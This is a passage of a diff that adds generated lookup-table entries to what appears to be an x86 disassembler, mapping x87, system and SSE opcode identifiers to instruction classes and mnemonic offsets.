+ /*II_D8_D0*/{ 0xea, 1035 },
+ /*II_D8_D0*/{ 0xea, 1035 },
+ /*II_D8_D0*/{ 0xea, 1035 },
+ /*II_D8_D0*/{ 0xea, 1035 },
+ /*II_D8_D0*/{ 0xea, 1035 },
+ /*II_D8_D0*/{ 0xea, 1035 },
+ /*II_D8_D0*/{ 0xea, 1035 },
+ /*II_D8_D8*/{ 0xea, 1041 },
+ /*II_D8_D9*/{ 0xeb, 1041 },
+ /*II_D8_D8*/{ 0xea, 1041 },
+ /*II_D8_D8*/{ 0xea, 1041 },
+ /*II_D8_D8*/{ 0xea, 1041 },
+ /*II_D8_D8*/{ 0xea, 1041 },
+ /*II_D8_D8*/{ 0xea, 1041 },
+ /*II_D8_D8*/{ 0xea, 1041 },
+ /*II_D8_E0*/{ 0xe9, 1048 },
+ /*II_D8_E0*/{ 0xe9, 1048 },
+ /*II_D8_E0*/{ 0xe9, 1048 },
+ /*II_D8_E0*/{ 0xe9, 1048 },
+ /*II_D8_E0*/{ 0xe9, 1048 },
+ /*II_D8_E0*/{ 0xe9, 1048 },
+ /*II_D8_E0*/{ 0xe9, 1048 },
+ /*II_D8_E0*/{ 0xe9, 1048 },
+ /*II_D8_E8*/{ 0xe9, 1054 },
+ /*II_D8_E8*/{ 0xe9, 1054 },
+ /*II_D8_E8*/{ 0xe9, 1054 },
+ /*II_D8_E8*/{ 0xe9, 1054 },
+ /*II_D8_E8*/{ 0xe9, 1054 },
+ /*II_D8_E8*/{ 0xe9, 1054 },
+ /*II_D8_E8*/{ 0xe9, 1054 },
+ /*II_D8_E8*/{ 0xe9, 1054 },
+ /*II_D8_F0*/{ 0xe9, 1061 },
+ /*II_D8_F0*/{ 0xe9, 1061 },
+ /*II_D8_F0*/{ 0xe9, 1061 },
+ /*II_D8_F0*/{ 0xe9, 1061 },
+ /*II_D8_F0*/{ 0xe9, 1061 },
+ /*II_D8_F0*/{ 0xe9, 1061 },
+ /*II_D8_F0*/{ 0xe9, 1061 },
+ /*II_D8_F0*/{ 0xe9, 1061 },
+ /*II_D8_F8*/{ 0xe9, 1067 },
+ /*II_D8_F8*/{ 0xe9, 1067 },
+ /*II_D8_F8*/{ 0xe9, 1067 },
+ /*II_D8_F8*/{ 0xe9, 1067 },
+ /*II_D8_F8*/{ 0xe9, 1067 },
+ /*II_D8_F8*/{ 0xe9, 1067 },
+ /*II_D8_F8*/{ 0xe9, 1067 },
+ /*II_D8_F8*/{ 0xe9, 1067 },
+ /*II_D9_00*/{ 0xe8, 1074 },
+ /*II_D9_02*/{ 0xec, 1079 },
+ /*II_D9_03*/{ 0xec, 1084 },
+ /*II_D9_04*/{ 0xed, 1090 },
+ /*II_D9_05*/{ 0xee, 1098 },
+ /*II_D9_C0*/{ 0xea, 1074 },
+ /*II_D9_C0*/{ 0xea, 1074 },
+ /*II_D9_C0*/{ 0xea, 1074 },
+ /*II_D9_C0*/{ 0xea, 1074 },
+ /*II_D9_C0*/{ 0xea, 1074 },
+ /*II_D9_C0*/{ 0xea, 1074 },
+ /*II_D9_C0*/{ 0xea, 1074 },
+ /*II_D9_C0*/{ 0xea, 1074 },
+ /*II_D9_C8*/{ 0xea, 1105 },
+ /*II_D9_C9*/{ 0xeb, 1105 },
+ /*II_D9_C8*/{ 0xea, 1105 },
+ /*II_D9_C8*/{ 0xea, 1105 },
+ /*II_D9_C8*/{ 0xea, 1105 },
+ /*II_D9_C8*/{ 0xea, 1105 },
+ /*II_D9_C8*/{ 0xea, 1105 },
+ /*II_D9_C8*/{ 0xea, 1105 },
+ /*II_D9_D0*/{ 0xeb, 1111 },
+ /*II_D9_E0*/{ 0xeb, 1117 },
+ /*II_D9_E1*/{ 0xeb, 1123 },
+ /*II_D9_E4*/{ 0xeb, 1129 },
+ /*II_D9_E5*/{ 0xeb, 1135 },
+ /*II_D9_E8*/{ 0xeb, 1141 },
+ /*II_D9_E9*/{ 0xeb, 1147 },
+ /*II_D9_EA*/{ 0xeb, 1155 },
+ /*II_D9_EB*/{ 0xeb, 1163 },
+ /*II_D9_EC*/{ 0xeb, 1170 },
+ /*II_D9_ED*/{ 0xeb, 1178 },
+ /*II_D9_EE*/{ 0xeb, 1186 },
+ /*II_D9_F0*/{ 0xeb, 1192 },
+ /*II_D9_F1*/{ 0xeb, 1199 },
+ /*II_D9_F2*/{ 0xeb, 1206 },
+ /*II_D9_F3*/{ 0xeb, 1213 },
+ /*II_D9_F4*/{ 0xeb, 1221 },
+ /*II_D9_F5*/{ 0xeb, 1230 },
+ /*II_D9_F6*/{ 0xeb, 1238 },
+ /*II_D9_F7*/{ 0xeb, 1247 },
+ /*II_D9_F8*/{ 0xeb, 1256 },
+ /*II_D9_F9*/{ 0xeb, 1263 },
+ /*II_D9_FA*/{ 0xeb, 1272 },
+ /*II_D9_FB*/{ 0xeb, 1279 },
+ /*II_D9_FC*/{ 0xeb, 1288 },
+ /*II_D9_FD*/{ 0xeb, 1297 },
+ /*II_D9_FE*/{ 0xeb, 1305 },
+ /*II_D9_FF*/{ 0xeb, 1311 },
+ /*II_DA_00*/{ 0xe8, 1317 },
+ /*II_DA_01*/{ 0xe8, 1324 },
+ /*II_DA_02*/{ 0xe8, 1331 },
+ /*II_DA_03*/{ 0xe8, 1338 },
+ /*II_DA_04*/{ 0xe8, 1346 },
+ /*II_DA_05*/{ 0xe8, 1353 },
+ /*II_DA_06*/{ 0xe8, 1361 },
+ /*II_DA_07*/{ 0xe8, 1368 },
+ /*II_DA_C0*/{ 0xef, 1376 },
+ /*II_DA_C0*/{ 0xef, 1376 },
+ /*II_DA_C0*/{ 0xef, 1376 },
+ /*II_DA_C0*/{ 0xef, 1376 },
+ /*II_DA_C0*/{ 0xef, 1376 },
+ /*II_DA_C0*/{ 0xef, 1376 },
+ /*II_DA_C0*/{ 0xef, 1376 },
+ /*II_DA_C0*/{ 0xef, 1376 },
+ /*II_DA_C8*/{ 0xf0, 1384 },
+ /*II_DA_C8*/{ 0xf0, 1384 },
+ /*II_DA_C8*/{ 0xf0, 1384 },
+ /*II_DA_C8*/{ 0xf0, 1384 },
+ /*II_DA_C8*/{ 0xf0, 1384 },
+ /*II_DA_C8*/{ 0xf0, 1384 },
+ /*II_DA_C8*/{ 0xf0, 1384 },
+ /*II_DA_C8*/{ 0xf0, 1384 },
+ /*II_DA_D0*/{ 0xf1, 1392 },
+ /*II_DA_D0*/{ 0xf1, 1392 },
+ /*II_DA_D0*/{ 0xf1, 1392 },
+ /*II_DA_D0*/{ 0xf1, 1392 },
+ /*II_DA_D0*/{ 0xf1, 1392 },
+ /*II_DA_D0*/{ 0xf1, 1392 },
+ /*II_DA_D0*/{ 0xf1, 1392 },
+ /*II_DA_D0*/{ 0xf1, 1392 },
+ /*II_DA_D8*/{ 0xf2, 1401 },
+ /*II_DA_D8*/{ 0xf2, 1401 },
+ /*II_DA_D8*/{ 0xf2, 1401 },
+ /*II_DA_D8*/{ 0xf2, 1401 },
+ /*II_DA_D8*/{ 0xf2, 1401 },
+ /*II_DA_D8*/{ 0xf2, 1401 },
+ /*II_DA_D8*/{ 0xf2, 1401 },
+ /*II_DA_D8*/{ 0xf2, 1401 },
+ /*II_DA_E9*/{ 0xeb, 1409 },
+ /*II_DB_00*/{ 0xe8, 1418 },
+ /*II_DB_01*/{ 0xf3, 1424 },
+ /*II_DB_02*/{ 0xec, 1432 },
+ /*II_DB_03*/{ 0xec, 1438 },
+ /*II_DB_05*/{ 0xf4, 1074 },
+ /*II_DB_07*/{ 0xf5, 1084 },
+ /*II_DB_C0*/{ 0xef, 1445 },
+ /*II_DB_C0*/{ 0xef, 1445 },
+ /*II_DB_C0*/{ 0xef, 1445 },
+ /*II_DB_C0*/{ 0xef, 1445 },
+ /*II_DB_C0*/{ 0xef, 1445 },
+ /*II_DB_C0*/{ 0xef, 1445 },
+ /*II_DB_C0*/{ 0xef, 1445 },
+ /*II_DB_C0*/{ 0xef, 1445 },
+ /*II_DB_C8*/{ 0xf0, 1454 },
+ /*II_DB_C8*/{ 0xf0, 1454 },
+ /*II_DB_C8*/{ 0xf0, 1454 },
+ /*II_DB_C8*/{ 0xf0, 1454 },
+ /*II_DB_C8*/{ 0xf0, 1454 },
+ /*II_DB_C8*/{ 0xf0, 1454 },
+ /*II_DB_C8*/{ 0xf0, 1454 },
+ /*II_DB_C8*/{ 0xf0, 1454 },
+ /*II_DB_D0*/{ 0xf1, 1463 },
+ /*II_DB_D0*/{ 0xf1, 1463 },
+ /*II_DB_D0*/{ 0xf1, 1463 },
+ /*II_DB_D0*/{ 0xf1, 1463 },
+ /*II_DB_D0*/{ 0xf1, 1463 },
+ /*II_DB_D0*/{ 0xf1, 1463 },
+ /*II_DB_D0*/{ 0xf1, 1463 },
+ /*II_DB_D0*/{ 0xf1, 1463 },
+ /*II_DB_D8*/{ 0xf2, 1473 },
+ /*II_DB_D8*/{ 0xf2, 1473 },
+ /*II_DB_D8*/{ 0xf2, 1473 },
+ /*II_DB_D8*/{ 0xf2, 1473 },
+ /*II_DB_D8*/{ 0xf2, 1473 },
+ /*II_DB_D8*/{ 0xf2, 1473 },
+ /*II_DB_D8*/{ 0xf2, 1473 },
+ /*II_DB_D8*/{ 0xf2, 1473 },
+ /*II_DB_E0*/{ 0xeb, 1482 },
+ /*II_DB_E1*/{ 0xeb, 1488 },
+ /*II_DB_E4*/{ 0xeb, 1496 },
+ /*II_DB_E8*/{ 0xf6, 1504 },
+ /*II_DB_E8*/{ 0xf6, 1504 },
+ /*II_DB_E8*/{ 0xf6, 1504 },
+ /*II_DB_E8*/{ 0xf6, 1504 },
+ /*II_DB_E8*/{ 0xf6, 1504 },
+ /*II_DB_E8*/{ 0xf6, 1504 },
+ /*II_DB_E8*/{ 0xf6, 1504 },
+ /*II_DB_E8*/{ 0xf6, 1504 },
+ /*II_DB_F0*/{ 0xf7, 1512 },
+ /*II_DB_F0*/{ 0xf7, 1512 },
+ /*II_DB_F0*/{ 0xf7, 1512 },
+ /*II_DB_F0*/{ 0xf7, 1512 },
+ /*II_DB_F0*/{ 0xf7, 1512 },
+ /*II_DB_F0*/{ 0xf7, 1512 },
+ /*II_DB_F0*/{ 0xf7, 1512 },
+ /*II_DB_F0*/{ 0xf7, 1512 },
+ /*II_DC_00*/{ 0xf8, 1023 },
+ /*II_DC_01*/{ 0xf8, 1029 },
+ /*II_DC_02*/{ 0xf8, 1035 },
+ /*II_DC_03*/{ 0xf8, 1041 },
+ /*II_DC_04*/{ 0xf8, 1048 },
+ /*II_DC_05*/{ 0xf8, 1054 },
+ /*II_DC_06*/{ 0xf8, 1061 },
+ /*II_DC_07*/{ 0xf8, 1067 },
+ /*II_DC_C0*/{ 0xf9, 1023 },
+ /*II_DC_C0*/{ 0xf9, 1023 },
+ /*II_DC_C0*/{ 0xf9, 1023 },
+ /*II_DC_C0*/{ 0xf9, 1023 },
+ /*II_DC_C0*/{ 0xf9, 1023 },
+ /*II_DC_C0*/{ 0xf9, 1023 },
+ /*II_DC_C0*/{ 0xf9, 1023 },
+ /*II_DC_C0*/{ 0xf9, 1023 },
+ /*II_DC_C8*/{ 0xf9, 1029 },
+ /*II_DC_C8*/{ 0xf9, 1029 },
+ /*II_DC_C8*/{ 0xf9, 1029 },
+ /*II_DC_C8*/{ 0xf9, 1029 },
+ /*II_DC_C8*/{ 0xf9, 1029 },
+ /*II_DC_C8*/{ 0xf9, 1029 },
+ /*II_DC_C8*/{ 0xf9, 1029 },
+ /*II_DC_C8*/{ 0xf9, 1029 },
+ /*II_DC_E0*/{ 0xf9, 1054 },
+ /*II_DC_E0*/{ 0xf9, 1054 },
+ /*II_DC_E0*/{ 0xf9, 1054 },
+ /*II_DC_E0*/{ 0xf9, 1054 },
+ /*II_DC_E0*/{ 0xf9, 1054 },
+ /*II_DC_E0*/{ 0xf9, 1054 },
+ /*II_DC_E0*/{ 0xf9, 1054 },
+ /*II_DC_E0*/{ 0xf9, 1054 },
+ /*II_DC_E8*/{ 0xf9, 1048 },
+ /*II_DC_E8*/{ 0xf9, 1048 },
+ /*II_DC_E8*/{ 0xf9, 1048 },
+ /*II_DC_E8*/{ 0xf9, 1048 },
+ /*II_DC_E8*/{ 0xf9, 1048 },
+ /*II_DC_E8*/{ 0xf9, 1048 },
+ /*II_DC_E8*/{ 0xf9, 1048 },
+ /*II_DC_E8*/{ 0xf9, 1048 },
+ /*II_DC_F0*/{ 0xf9, 1067 },
+ /*II_DC_F0*/{ 0xf9, 1067 },
+ /*II_DC_F0*/{ 0xf9, 1067 },
+ /*II_DC_F0*/{ 0xf9, 1067 },
+ /*II_DC_F0*/{ 0xf9, 1067 },
+ /*II_DC_F0*/{ 0xf9, 1067 },
+ /*II_DC_F0*/{ 0xf9, 1067 },
+ /*II_DC_F0*/{ 0xf9, 1067 },
+ /*II_DC_F8*/{ 0xf9, 1061 },
+ /*II_DC_F8*/{ 0xf9, 1061 },
+ /*II_DC_F8*/{ 0xf9, 1061 },
+ /*II_DC_F8*/{ 0xf9, 1061 },
+ /*II_DC_F8*/{ 0xf9, 1061 },
+ /*II_DC_F8*/{ 0xf9, 1061 },
+ /*II_DC_F8*/{ 0xf9, 1061 },
+ /*II_DC_F8*/{ 0xf9, 1061 },
+ /*II_DD_00*/{ 0xf8, 1074 },
+ /*II_DD_01*/{ 0xfa, 1424 },
+ /*II_DD_02*/{ 0xfb, 1079 },
+ /*II_DD_03*/{ 0xfb, 1084 },
+ /*II_DD_04*/{ 0xed, 1519 },
+ /*II_DD_C0*/{ 0xea, 1527 },
+ /*II_DD_C0*/{ 0xea, 1527 },
+ /*II_DD_C0*/{ 0xea, 1527 },
+ /*II_DD_C0*/{ 0xea, 1527 },
+ /*II_DD_C0*/{ 0xea, 1527 },
+ /*II_DD_C0*/{ 0xea, 1527 },
+ /*II_DD_C0*/{ 0xea, 1527 },
+ /*II_DD_C0*/{ 0xea, 1527 },
+ /*II_DD_D0*/{ 0xea, 1079 },
+ /*II_DD_D0*/{ 0xea, 1079 },
+ /*II_DD_D0*/{ 0xea, 1079 },
+ /*II_DD_D0*/{ 0xea, 1079 },
+ /*II_DD_D0*/{ 0xea, 1079 },
+ /*II_DD_D0*/{ 0xea, 1079 },
+ /*II_DD_D0*/{ 0xea, 1079 },
+ /*II_DD_D0*/{ 0xea, 1079 },
+ /*II_DD_D8*/{ 0xea, 1084 },
+ /*II_DD_D8*/{ 0xea, 1084 },
+ /*II_DD_D8*/{ 0xea, 1084 },
+ /*II_DD_D8*/{ 0xea, 1084 },
+ /*II_DD_D8*/{ 0xea, 1084 },
+ /*II_DD_D8*/{ 0xea, 1084 },
+ /*II_DD_D8*/{ 0xea, 1084 },
+ /*II_DD_D8*/{ 0xea, 1084 },
+ /*II_DD_E0*/{ 0xf9, 1534 },
+ /*II_DD_E1*/{ 0xeb, 1534 },
+ /*II_DD_E0*/{ 0xf9, 1534 },
+ /*II_DD_E0*/{ 0xf9, 1534 },
+ /*II_DD_E0*/{ 0xf9, 1534 },
+ /*II_DD_E0*/{ 0xf9, 1534 },
+ /*II_DD_E0*/{ 0xf9, 1534 },
+ /*II_DD_E0*/{ 0xf9, 1534 },
+ /*II_DD_E8*/{ 0xea, 1541 },
+ /*II_DD_E9*/{ 0xeb, 1541 },
+ /*II_DD_E8*/{ 0xea, 1541 },
+ /*II_DD_E8*/{ 0xea, 1541 },
+ /*II_DD_E8*/{ 0xea, 1541 },
+ /*II_DD_E8*/{ 0xea, 1541 },
+ /*II_DD_E8*/{ 0xea, 1541 },
+ /*II_DD_E8*/{ 0xea, 1541 },
+ /*II_DE_00*/{ 0xee, 1317 },
+ /*II_DE_01*/{ 0xee, 1324 },
+ /*II_DE_02*/{ 0xee, 1331 },
+ /*II_DE_03*/{ 0xee, 1338 },
+ /*II_DE_04*/{ 0xee, 1346 },
+ /*II_DE_05*/{ 0xee, 1353 },
+ /*II_DE_06*/{ 0xee, 1361 },
+ /*II_DE_07*/{ 0xee, 1368 },
+ /*II_DE_C0*/{ 0xf9, 1549 },
+ /*II_DE_C1*/{ 0xeb, 1549 },
+ /*II_DE_C0*/{ 0xf9, 1549 },
+ /*II_DE_C0*/{ 0xf9, 1549 },
+ /*II_DE_C0*/{ 0xf9, 1549 },
+ /*II_DE_C0*/{ 0xf9, 1549 },
+ /*II_DE_C0*/{ 0xf9, 1549 },
+ /*II_DE_C0*/{ 0xf9, 1549 },
+ /*II_DE_C8*/{ 0xf9, 1556 },
+ /*II_DE_C9*/{ 0xeb, 1556 },
+ /*II_DE_C8*/{ 0xf9, 1556 },
+ /*II_DE_C8*/{ 0xf9, 1556 },
+ /*II_DE_C8*/{ 0xf9, 1556 },
+ /*II_DE_C8*/{ 0xf9, 1556 },
+ /*II_DE_C8*/{ 0xf9, 1556 },
+ /*II_DE_C8*/{ 0xf9, 1556 },
+ /*II_DE_D9*/{ 0xeb, 1563 },
+ /*II_DE_E0*/{ 0xf9, 1571 },
+ /*II_DE_E1*/{ 0xeb, 1571 },
+ /*II_DE_E0*/{ 0xf9, 1571 },
+ /*II_DE_E0*/{ 0xf9, 1571 },
+ /*II_DE_E0*/{ 0xf9, 1571 },
+ /*II_DE_E0*/{ 0xf9, 1571 },
+ /*II_DE_E0*/{ 0xf9, 1571 },
+ /*II_DE_E0*/{ 0xf9, 1571 },
+ /*II_DE_E8*/{ 0xf9, 1579 },
+ /*II_DE_E9*/{ 0xeb, 1579 },
+ /*II_DE_E8*/{ 0xf9, 1579 },
+ /*II_DE_E8*/{ 0xf9, 1579 },
+ /*II_DE_E8*/{ 0xf9, 1579 },
+ /*II_DE_E8*/{ 0xf9, 1579 },
+ /*II_DE_E8*/{ 0xf9, 1579 },
+ /*II_DE_E8*/{ 0xf9, 1579 },
+ /*II_DE_F0*/{ 0xf9, 1586 },
+ /*II_DE_F1*/{ 0xeb, 1586 },
+ /*II_DE_F0*/{ 0xf9, 1586 },
+ /*II_DE_F0*/{ 0xf9, 1586 },
+ /*II_DE_F0*/{ 0xf9, 1586 },
+ /*II_DE_F0*/{ 0xf9, 1586 },
+ /*II_DE_F0*/{ 0xf9, 1586 },
+ /*II_DE_F0*/{ 0xf9, 1586 },
+ /*II_DE_F8*/{ 0xf9, 1594 },
+ /*II_DE_F9*/{ 0xeb, 1594 },
+ /*II_DE_F8*/{ 0xf9, 1594 },
+ /*II_DE_F8*/{ 0xf9, 1594 },
+ /*II_DE_F8*/{ 0xf9, 1594 },
+ /*II_DE_F8*/{ 0xf9, 1594 },
+ /*II_DE_F8*/{ 0xf9, 1594 },
+ /*II_DE_F8*/{ 0xf9, 1594 },
+ /*II_DF_00*/{ 0xee, 1418 },
+ /*II_DF_01*/{ 0xfc, 1424 },
+ /*II_DF_02*/{ 0xfd, 1432 },
+ /*II_DF_03*/{ 0xfd, 1438 },
+ /*II_DF_04*/{ 0xf4, 1601 },
+ /*II_DF_05*/{ 0xf8, 1418 },
+ /*II_DF_06*/{ 0xf5, 1607 },
+ /*II_DF_07*/{ 0xfb, 1438 },
+ /*II_DF_E8*/{ 0xf6, 1614 },
+ /*II_DF_E8*/{ 0xf6, 1614 },
+ /*II_DF_E8*/{ 0xf6, 1614 },
+ /*II_DF_E8*/{ 0xf6, 1614 },
+ /*II_DF_E8*/{ 0xf6, 1614 },
+ /*II_DF_E8*/{ 0xf6, 1614 },
+ /*II_DF_E8*/{ 0xf6, 1614 },
+ /*II_DF_E8*/{ 0xf6, 1614 },
+ /*II_DF_F0*/{ 0xf6, 1623 },
+ /*II_DF_F0*/{ 0xf6, 1623 },
+ /*II_DF_F0*/{ 0xf6, 1623 },
+ /*II_DF_F0*/{ 0xf6, 1623 },
+ /*II_DF_F0*/{ 0xf6, 1623 },
+ /*II_DF_F0*/{ 0xf6, 1623 },
+ /*II_DF_F0*/{ 0xf6, 1623 },
+ /*II_DF_F0*/{ 0xf6, 1623 },
+ /*II_F6_00*/{ 0xfe, 206 },
+ /*II_F6_02*/{ 0xff, 1631 },
+ /*II_F6_03*/{ 0x100, 1636 },
+ /*II_F6_04*/{ 0x101, 1641 },
+ /*II_F6_05*/{ 0x101, 117 },
+ /*II_F6_06*/{ 0x102, 1646 },
+ /*II_F6_07*/{ 0x102, 1651 },
+ /*II_F7_00*/{ 0x103, 206 },
+ /*II_F7_02*/{ 0x104, 1631 },
+ /*II_F7_03*/{ 0x105, 1636 },
+ /*II_F7_04*/{ 0x106, 1641 },
+ /*II_F7_05*/{ 0x106, 117 },
+ /*II_F7_06*/{ 0x107, 1646 },
+ /*II_F7_07*/{ 0x107, 1651 },
+ /*II_FE_00*/{ 0x108, 81 },
+ /*II_FE_01*/{ 0x108, 86 },
+ /*II_FF_00*/{ 0x109, 81 },
+ /*II_FF_01*/{ 0x109, 86 },
+ /*II_FF_02*/{ 0x10a, 456 },
+ /*II_FF_03*/{ 0x10b, 260 },
+ /*II_FF_04*/{ 0x10c, 462 },
+ /*II_FF_05*/{ 0x10d, 467 },
+ /*II_FF_06*/{ 0x10e, 16 },
+ /*II_0F_00_00*/{ 0x10f, 1657 },
+ /*II_0F_00_01*/{ 0x110, 1663 },
+ /*II_0F_00_02*/{ 0x110, 34436 },
+ /*II_0F_00_03*/{ 0x111, 34442 },
+ /*II_0F_00_04*/{ 0x112, 1679 },
+ /*II_0F_00_05*/{ 0x112, 1685 },
+ /*II_0F_01_00*/{ 0x113, 1691 },
+ /*II_0F_01_01*/{ 0x113, 1697 },
+ /*II_0F_01_02*/{ 0x113, 34471 },
+ /*II_0F_01_03*/{ 0x113, 34477 },
+ /*II_0F_01_04*/{ 0x114, 1715 },
+ /*II_0F_01_06*/{ 0x115, 34489 },
+ /*II_0F_01_07*/{ 0x116, 34495 },
+ /*II_0F_01_C1*/{ 0x117, 1735 },
+ /*II_0F_01_C2*/{ 0x117, 1743 },
+ /*II_0F_01_C3*/{ 0x117, 1753 },
+ /*II_0F_01_C4*/{ 0x117, 1763 },
+ /*II_0F_01_C8*/{ 0x118, 1771 },
+ /*II_0F_01_C9*/{ 0x118, 1780 },
+ /*II_0F_01_D0*/{ 0x88, 1787 },
+ /*II_0F_01_D1*/{ 0x88, 1795 },
+ /*II_0F_01_D4*/{ 0x117, 1803 },
+ /*II_0F_01_D5*/{ 0x119, 1811 },
+ /*II_0F_01_D8*/{ 0x11a, 1817 },
+ /*II_0F_01_D9*/{ 0x11b, 1824 },
+ /*II_0F_01_DA*/{ 0x11c, 1833 },
+ /*II_0F_01_DB*/{ 0x11c, 1841 },
+ /*II_0F_01_DC*/{ 0x11b, 1849 },
+ /*II_0F_01_DD*/{ 0x11b, 1855 },
+ /*II_0F_01_DE*/{ 0x11c, 1861 },
+ /*II_0F_01_DF*/{ 0x11d, 1869 },
+ /*II_0F_01_F8*/{ 0x11e, 1878 },
+ /*II_0F_01_F9*/{ 0x11e, 1886 },
+ /*II_0F_0D_00*/{ 0x11f, 1894 },
+ /*II_0F_0D_01*/{ 0x11f, 1904 },
+ /*II_0F_0F_0C*/{ 0x120, 1915 },
+ /*II_0F_0F_0D*/{ 0x121, 1922 },
+ /*II_0F_0F_1C*/{ 0x120, 1929 },
+ /*II_0F_0F_1D*/{ 0x121, 1936 },
+ /*II_0F_0F_8A*/{ 0x120, 1943 },
+ /*II_0F_0F_8E*/{ 0x120, 1951 },
+ /*II_0F_0F_90*/{ 0x121, 1960 },
+ /*II_0F_0F_94*/{ 0x121, 1969 },
+ /*II_0F_0F_96*/{ 0x121, 1976 },
+ /*II_0F_0F_97*/{ 0x121, 1983 },
+ /*II_0F_0F_9A*/{ 0x121, 1992 },
+ /*II_0F_0F_9E*/{ 0x121, 1999 },
+ /*II_0F_0F_A0*/{ 0x121, 2006 },
+ /*II_0F_0F_A4*/{ 0x121, 2015 },
+ /*II_0F_0F_A6*/{ 0x121, 2022 },
+ /*II_0F_0F_A7*/{ 0x121, 2032 },
+ /*II_0F_0F_AA*/{ 0x121, 2042 },
+ /*II_0F_0F_AE*/{ 0x121, 2050 },
+ /*II_0F_0F_B0*/{ 0x121, 2057 },
+ /*II_0F_0F_B4*/{ 0x121, 2066 },
+ /*II_0F_0F_B6*/{ 0x121, 2073 },
+ /*II_0F_0F_B7*/{ 0x121, 2083 },
+ /*II_0F_0F_BB*/{ 0x120, 2092 },
+ /*II_0F_0F_BF*/{ 0x121, 2100 },
+ /*II_0F_10*/{ 0x122, 2109 },
+ /*II_66_0F_10*/{ 0x123, 2117 },
+ /*II_F3_0F_10*/{ 0x124, 2125 },
+ /*II_F2_0F_10*/{ 0x125, 2132 },
+ /*II_0F_11*/{ 0x12a, 2109 },
+ /*II_66_0F_11*/{ 0x12b, 2117 },
+ /*II_F3_0F_11*/{ 0x12c, 2125 },
+ /*II_F2_0F_11*/{ 0x12d, 2132 },
+ /*II_66_0F_12*/{ 0x132, 2190 },
+ /*II_F3_0F_12*/{ 0x133, 2198 },
+ /*II_F2_0F_12*/{ 0x133, 2208 },
+ /*II_0F_13*/{ 0x137, 2182 },
+ /*II_66_0F_13*/{ 0x138, 2190 },
+ /*II_0F_14*/{ 0x13a, 2266 },
+ /*II_66_0F_14*/{ 0x13b, 2276 },
+ /*II_0F_15*/{ 0x13a, 2308 },
+ /*II_66_0F_15*/{ 0x13b, 2318 },
+ /*II_66_0F_16*/{ 0x132, 2367 },
+ /*II_F3_0F_16*/{ 0x13d, 2375 },
+ /*II_0F_17*/{ 0x137, 2359 },
+ /*II_66_0F_17*/{ 0x138, 2367 },
+ /*II_0F_18_00*/{ 0x13e, 2424 },
+ /*II_0F_18_01*/{ 0x13e, 2437 },
+ /*II_0F_18_02*/{ 0x13e, 2449 },
+ /*II_0F_18_03*/{ 0x13e, 2461 },
+ /*II_0F_28*/{ 0x122, 2473 },
+ /*II_66_0F_28*/{ 0x123, 2481 },
+ /*II_0F_29*/{ 0x12a, 2473 },
+ /*II_66_0F_29*/{ 0x12b, 2481 },
+ /*II_0F_2A*/{ 0x13f, 2507 },
+ /*II_66_0F_2A*/{ 0x140, 2517 },
+ /*II_F3_0F_2A*/{ 0x141, 2527 },
+ /*II_F2_0F_2A*/{ 0x142, 2537 },
+ /*II_0F_2B*/{ 0x143, 2569 },
+ /*II_66_0F_2B*/{ 0x144, 2578 },
+ /*II_F3_0F_2B*/{ 0x145, 2587 },
+ /*II_F2_0F_2B*/{ 0x146, 2596 },
+ /*II_0F_2C*/{ 0x148, 2625 },
+ /*II_66_0F_2C*/{ 0x149, 2636 },
+ /*II_F3_0F_2C*/{ 0x14a, 2647 },
+ /*II_F2_0F_2C*/{ 0x14b, 2658 },
+ /*II_0F_2D*/{ 0x148, 2693 },
+ /*II_66_0F_2D*/{ 0x13b, 2703 },
+ /*II_F3_0F_2D*/{ 0x14a, 2713 },
+ /*II_F2_0F_2D*/{ 0x14b, 2723 },
+ /*II_0F_2E*/{ 0x14d, 2755 },
+ /*II_66_0F_2E*/{ 0x14e, 2764 },
+ /*II_0F_2F*/{ 0x14d, 2793 },
+ /*II_66_0F_2F*/{ 0x14e, 2801 },
+ /*II_0F_50*/{ 0x151, 2827 },
+ /*II_66_0F_50*/{ 0x152, 2837 },
+ /*II_0F_51*/{ 0x13a, 2869 },
+ /*II_66_0F_51*/{ 0x13b, 2877 },
+ /*II_F3_0F_51*/{ 0x154, 2885 },
+ /*II_F2_0F_51*/{ 0x14e, 2893 },
+ /*II_0F_52*/{ 0x13a, 2937 },
+ /*II_F3_0F_52*/{ 0x154, 2946 },
+ /*II_0F_53*/{ 0x13a, 2975 },
+ /*II_F3_0F_53*/{ 0x154, 2982 },
+ /*II_0F_54*/{ 0x13a, 3005 },
+ /*II_66_0F_54*/{ 0x13b, 3012 },
+ /*II_0F_55*/{ 0x13a, 3035 },
+ /*II_66_0F_55*/{ 0x13b, 3043 },
+ /*II_0F_56*/{ 0x13a, 3069 },
+ /*II_66_0F_56*/{ 0x13b, 3075 },
+ /*II_0F_57*/{ 0x13a, 3095 },
+ /*II_66_0F_57*/{ 0x13b, 3102 },
+ /*II_0F_58*/{ 0x13a, 3125 },
+ /*II_66_0F_58*/{ 0x13b, 3132 },
+ /*II_F3_0F_58*/{ 0x154, 3139 },
+ /*II_F2_0F_58*/{ 0x14e, 3146 },
+ /*II_0F_59*/{ 0x13a, 3185 },
+ /*II_66_0F_59*/{ 0x13b, 3192 },
+ /*II_F3_0F_59*/{ 0x154, 3199 },
+ /*II_F2_0F_59*/{ 0x14e, 3206 },
+ /*II_0F_5A*/{ 0x14e, 3245 },
+ /*II_66_0F_5A*/{ 0x13b, 3255 },
+ /*II_F3_0F_5A*/{ 0x155, 3265 },
+ /*II_F2_0F_5A*/{ 0x14e, 3275 },
+ /*II_0F_5B*/{ 0x13b, 3329 },
+ /*II_66_0F_5B*/{ 0x13b, 3339 },
+ /*II_F3_0F_5B*/{ 0x13b, 3349 },
+ /*II_0F_5C*/{ 0x13a, 3394 },
+ /*II_66_0F_5C*/{ 0x13b, 3401 },
+ /*II_F3_0F_5C*/{ 0x154, 3408 },
+ /*II_F2_0F_5C*/{ 0x14e, 3415 },
+ /*II_0F_5D*/{ 0x13a, 3454 },
+ /*II_66_0F_5D*/{ 0x13b, 3461 },
+ /*II_F3_0F_5D*/{ 0x154, 3468 },
+ /*II_F2_0F_5D*/{ 0x14e, 3475 },
+ /*II_0F_5E*/{ 0x13a, 3514 },
+ /*II_66_0F_5E*/{ 0x13b, 3521 },
+ /*II_F3_0F_5E*/{ 0x154, 3528 },
+ /*II_F2_0F_5E*/{ 0x14e, 3535 },
+ /*II_0F_5F*/{ 0x13a, 3574 },
+ /*II_66_0F_5F*/{ 0x13b, 3581 },
+ /*II_F3_0F_5F*/{ 0x154, 3588 },
+ /*II_F2_0F_5F*/{ 0x14e, 3595 },
